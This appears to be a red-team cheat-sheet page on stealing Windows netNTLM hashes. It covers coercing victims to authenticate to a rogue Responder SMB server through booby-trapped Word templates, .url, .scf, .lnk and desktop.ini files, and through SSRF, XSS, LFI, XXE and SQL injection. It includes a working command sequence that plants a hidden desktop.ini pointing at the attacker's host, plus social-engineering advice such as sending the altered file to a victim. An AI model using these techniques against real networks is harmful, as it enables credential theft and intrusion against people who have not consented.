Stealing NTLM hashes
Stealing netNTLM hashes in windows
Windows has feature called SSO(single sign on) where an employee needs to provide his/her credentials only once, after that whenever the user has to access other resources in the network they won't have to login using their credentials again and again instead their ntlm hash is sent to the resource server they are trying to access and the resource server verifies the hash and grants them access. However there exists a design flaw in this implementation if a user's computer tries to visit any malicious server their ntlm hash will be sent to that server for authentication in this case red teamers and attackers can easily create a malicious server of their own and find ways for victim's computer to visit their server then the victim computer will send their ntlm hash in order to authenticate since the malicious server is controlled by the attacker they can grab the ntlm hash and crack it but it cannot be used for pass the hash attacks unlike pure ntlm hash but pretty neat overall. We can use responder which creates a rouge smb server.
Create a rouge smb server on attacker's machine.
Exploitation techniques for victim to visit our server
CVE-2023-23397 Outlook NTLM Leak
1) Internet explorer and Microsoft edge
2) Office files
A word document can contain a link to template file located on the attacker's rogue share. Download a word document unzip it and edit word\_rels\settings.xml.rels
Edit the Target attribute pointing to attacker's share rezip the word file and send to victim.
3) URL handlers
4) Internet shortcuts
Windows has special .url filetype that can be used to create shortcut to web pages. Save these as anything.url file.
5) Windows Media player .m3u and .asx files
anything.m3u
anything.asx
6) Shell command files(.scf)(May not work on latest windows)
For this the victim doesn't have to open the file, if the victim just visits the folder where this file is stored explorer will automatically try to resolve the network path for the icon. Placing malicious.scf file in desktop folder of victim and when the victim logs in his ntlm hash is sent to us.
7) Desktop.ini(May not work on latest windows)
The desktop.ini file contains the information of the icons you have applied to the folder. Just like .scf file the victim doesn't have to open the desktop.ini file but just has to open the folder containing malicious desktop.ini file and the hash will be sent to attacker's server, placing this file inside desktop may be a trick just as .scf files
mkdir openMe
attrib +s openMe
cd openMe
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\responder-ip\aa >> desktop.ini
attrib +s +h desktop.ini
8) Shortcut Files (.lnk)
Conclusion, there are hundreds of more and undiscovered ways of stealing ntlm hashes.Basically anything that allows files to load via UNC path can be abused. https://github.com/Greenwolf/ntlm_theft this tool will create several documents and files for ntlm stealing.
Leveraging Web application vulnerabilities to steal ntlm hashes
SSRF to stealing netntlm hash
If the web application of intranet network is vulnerable to ssrf we can make request to our attacker's responder server.
In the background:
The Windows API will send an HTTP request
The server (in this case, Responder) will send the header WWW-Authenticate: NTLM prompting it to authenticate with NTLM
The client (in this case, the vulnerable application running in the server) will respond to the challenge and the attacker will grab the server's Net-NTLM hash
XSS to stealing netntlm hash
Usually if the responder server is inside the intranet network one can simple create an html page and set any element example img, iframe, audio, input, script src to attacker's responder server and when the employee visits our page via social engineering tricks we can steal their ntlm hash.
LFI to stealing ntlm hashes
If the web application running php is vunerable to lfi the include() method will resolve the UNC path.
XXE to stealing ntlm hashes
If the web application is vulnerable to XXE and running php php://filter/convert.base64-encode/resource=
can be used to resolve UNC path
Xpath injection to stealing ntlm hashes
The doc() method can be used in out of band xpath injection to steal ntlm hashes
Sql injection to stealing ntlm hashes(Mysql)
Sql injection to stealing ntlm hashes(MSsql)
Stacked queries are supported, stored procedures can be called
Last updated